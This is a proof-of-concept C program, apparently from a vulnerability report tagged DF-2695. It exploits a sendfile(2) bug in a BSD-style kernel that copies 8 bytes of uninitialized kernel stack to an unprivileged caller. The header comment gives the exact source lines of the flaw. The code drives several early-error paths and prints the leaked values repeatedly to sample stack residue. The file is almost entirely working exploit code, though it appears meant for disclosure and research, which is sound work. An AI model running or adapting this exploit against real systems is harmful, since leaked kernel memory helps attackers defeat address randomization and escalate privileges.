DF-2695 / poc_sendfile.c
/* * DF-2695 PoC: sys_sendfile() discloses uninitialized kernel stack * ================================================================= * * sys/kern/uipc_syscalls.c: * :1594 `off_t sbytes;` -- never initialized * :1645 kern_sendfile(..., &sbytes, ...) sets *sbytes = 0 only at * :1734, AFTER the early error gotos (done0) at :1699-1732 * (not VREG / no v_object / holdsock failure / not SOCK_STREAM / * not connected / offset < 0 / no SSB_PREALLOC) * :1677-1680 on *every* exit path -- including error -- the syscall * does `sbytes += hdtr_size; copyout(&sbytes, uap->sbytes, 8);` * * => unprivileged user gets 8 bytes of uninitialized kernel stack copied * to userspace on every failing sendfile(2) call with a non-NULL * sbytes pointer. * * This program triggers several distinct early-error paths and prints * the leaked values. Non-zero, varying, kernel-pointer-looking values * = uninitialized stack memory. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/stat.h> #include <netinet/in.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> static void try(const char *what, int fd, int s, off_t off) { off_t sbytes = 0; int r, e; r = sendfile(fd, s, off, 0, NULL, &sbytes, 0); e = errno; printf("%-28s ret=%-3d errno=%-3d (%s) leaked sbytes=0x%016llx " "(%lld)\n", what, r, e, strerror(e), (unsigned long long)sbytes, (long long)sbytes); } int main(void) { int fd, udp, tcp, nolisten; struct sockaddr_in a; fd = open("/etc/passwd", O_RDONLY); if (fd < 0) { perror("open"); return 1; } udp = socket(AF_INET, SOCK_DGRAM, 0); /* not SOCK_STREAM */ tcp = socket(AF_INET, SOCK_STREAM, 0); /* not connected */ nolisten = -1; /* holdsock fails */ printf("== DF-2695: sendfile() uninitialized kernel stack leak ==\n"); try("bad socket fd (-1)", fd, nolisten, 0); try("udp socket (EINVAL)", fd, udp, 0); try("tcp unconnected (ENOTCONN)", fd, tcp, 0); try("negative offset (EINVAL)", fd, tcp, -1); try("udp + negative off", fd, udp, -1); /* repeat the cheapest path to sample stack residue variety */ printf("-- 10 samples of the holdsock-error path --\n"); for (int i = 0; i < 10; i++) try("sample", fd, nolisten, 0); return 0; } |